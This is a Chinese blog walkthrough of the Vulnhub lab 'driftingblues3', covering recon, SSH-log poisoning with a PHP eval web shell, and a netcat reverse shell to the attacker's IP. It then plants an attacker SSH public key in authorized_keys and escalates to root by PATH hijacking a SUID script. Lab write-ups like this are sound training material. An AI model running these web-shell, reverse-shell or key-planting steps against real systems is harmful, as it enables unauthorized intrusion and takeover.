文章总结: 本文详细介绍了Vulnhub靶场driftingblues3的渗透测试过程,包括端口扫描、目录发现、SSH日志注入获取初始访问、反弹shell、使用公钥登录获取用户权限以及通过环境变量劫持提权的完整流程。文章展示了三种关键技术:通过SSH日志注入一句话木马、使用公钥免密登录和利用环境变量进行命令劫持提权。整个过程展示了从信息收集到提权的完整渗透测试路径,适合安全人员学习实战技巧。
综合评分: 88
文章分类: 渗透测试,实战经验,WEB安全,内网渗透,漏洞分析
Vulnhub靶场之driftingblues3
原创
MS02423
MS02423
2025年12月7日 14:40
天津
这个靶场我们可以学到另外一个使用ssh文件去免密登录用户的,之前我们都是使用用户的私钥去登录的,而这个靶场我们是使用我们的公钥去登录用户的,而且提权我们也是使用环境变量去提权的。
1.探测IP
nmap -sP 192.168.137.0/24
靶场IP是192.168.137.83
2.扫描IP
1)扫描端口
nmap -p- -sV 192.168.137.83
开放了80和22端口,那么我们大概思路就是在80端口发现信息,然后在22端口进行登录
2)扫描目录
sudo dirsearch -u http://192.168.137.83
我们扫描到一些目录,我们进行访问
3.访问IP
http://192.168.137.83/
web界面没有任何信息,我们来看我们扫描到的目录
4.渗透测试
访问目录
/drupal,我以为是一个drupal的登录页面,结果是一些没有用的信息
http://192.168.137.83/drupal/
/Makefile,直接开始恶作剧了
http://192.168.137.83//Makefile
我们就不一一写出来了,最后只有在robots.txt目录下发现了信息
/robots.txt,给了我们一个目录,我们进行访问
http://192.168.137.83//robots.txt
http://192.168.137.83/eventadmins/
提问我们ssh出现了问题,而且让我们去查看/littlequeenofspades.html
目录
http://192.168.137.83/littlequeenofspades.html
查看源代码
我们在页面没有发现有用的信息,我们查看源代码,发现了一串base64编码
base64解密
我们发现还需要解密一次,再次解密发现是一个目录,我们进行访问
http://192.168.137.83/adminsfixit.php
我们可以看到是ssh登录的日志
ssh登录一句话木马
既然我们可以访问ssh登录日志,那么我们可以猜测能不能使用一句话木马当做ssh登录的用户名,然后连接蚁剑,我们试试看
ssh一句话木马
ssh '<?php @eval($_POST['cmd']);?>'@192.168.137.83
当我们使用一句话木马时,告诉我们用户名包含无效字符不让我们登录
那么我们就使用nc进行登录22端口试试看
nc 192.168.137.83 22ms02423 '<?php @eval($_POST['cmd']);?>'
nc 192.168.137.83 22 这条命令的意思是:
使用 nc(netcat 工具)连接到 IP 为 192.168.137.83 的主机
连接的目标端口是 22(通常是 SSH 服务端口)
作用相当于:尝试与目标主机的 SSH 服务建立一个 TCP 连接;如果连接成功,你会看到一个空白界面或 SSH 的 Banner(比如 SSH-2.0-OpenSSH_8.x),说明目标 22 端口是打开的;如果失败,会提示连接超时、拒绝等信息,说明端口没开、被防火墙拦截或主机不通。
我之所以前面添加ms02423是为了知道一句话木马是否写入成功,如果我们访问日志,ms02423后面没有出现一句话木马,那么就是写入成功了,记得多刷新几次页面即可
我们可以看到是空白的,那么就是写入成功
连接蚁剑
我们可以看到连接成功,那么我们就进行反弹shell即可
反弹shell
我们可以看到反弹成功,既然我们可以反弹成功,那么我们能不能直接在ssh登录处写入命令执行,然后直接进行反弹shel呢
拓展一下
命令执行漏洞
我们可以看到写入成功,我们试试是否成功
查看id
http://192.168.137.83/adminsfixit.php?pass=id;
我们可以看到写入成功,我们进行反弹shell
http://192.168.137.83/adminsfixit.php?pass=nc%20-e%20/bin/bash%20192.168.137.102%203333
我们可以看到反弹成功
所以,我们可以通过2种方法获取到shell。
切换用户
我们在家目录下,发现一个robertj用户,里面有一个user.txt文件但是,我们没有权限查看,所以下一步我们需要想办法登录到Robertj用户里面
我们看到了.ssh目录,以为里面会有id_rsa私钥文件,我们直接登录即可,但是发现里面却是空白的。
但是我们可以看到.ssh目录我们是有权限写写东西的,既然我们没有办法使用私钥登录,那么我们可以使用kali的公钥去登录靶场的。
公钥登录
首先,我们在kali里面查看一下.ssh目录,可以看到基本上是空白的,那是因为我们没有使用过密钥或没用过 SSH
.ssh目录下常见文件有
id_rsa:私钥id_rsa.pub:公钥authorized_keys:允许免密登录的公钥列表known_hosts:你连通过的主机列表
那么,我们就先生成一对密钥
ssh-keygen -t rsa -b 4096
然后我们再次查看,可以看到多了2个文件,一个是私钥一个是公钥
我们可以查看kali的公钥,然后我们复制到/var/www/html目录下
我们重新命名为authorized_keys
直接上传到靶场里面,我们就可以在kali里面免密登录robertj用户了,因为robertj用户允许免密登录的公钥列表是我们的kali
ssh登录
我们可以看到登录成功
我们查看刚刚没有权限查看的user.txt,可以看到是第一个flag
提权
我们查看提权,可以看到一个/usr/bin/getinfo/,我们查看类型可以看到是一个脚本文件
find / -perm -4000 -type f 2>/dev/null
我们查看里面的内容分别执行了ip addr、cat /etc/hosts、uname -a命令
那么我们可以通过修改环境来进行命令劫持提权
通过修改环境变量让getinfo在调用命令调用到我们伪造的ip命令(在检索环境时会先调用最前面的环境也就是最新写入的环境),来达到提权的效果。
我们可以看到最前面的环境是/usr/bin/,我们写入新的环境变量
export PATH=/tmp/:$PATH
再次查看,可以看到环境变量最前面的就是/tmp/环境了,然后我们切换到tmp目录下,我们写入命令到ip里面。
echo '/bin/bash' > ip
我们再次查看IP可以看到没有东西,我们执行/usr/bin/getinfo脚本,然后可以看到提权成功。
我们查看最后的flag
至此,drftingsblues靶场渗透成功
本来,我想复盘一下这个靶场,但是发现好像没有什么可以复盘的,这个靶场关键点就是我们需要知道如何通过ssh登录写入一句话木马,然后反弹shell,第二个关键点就是通过公钥登录到用户里面,第三个就是通过环境变量进行提权,这几天我们的靶场都是通过环境变量提权的,下一个靶场就是环境变量提权的。
我突然想到提权的那一步,我们也可以使用nc进行反弹shell获取到root权限的,但是我靶场关闭了我就没有尝试,你们可以试试看的。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MS02423 MS02423《Vulnhub靶场之driftingblues3》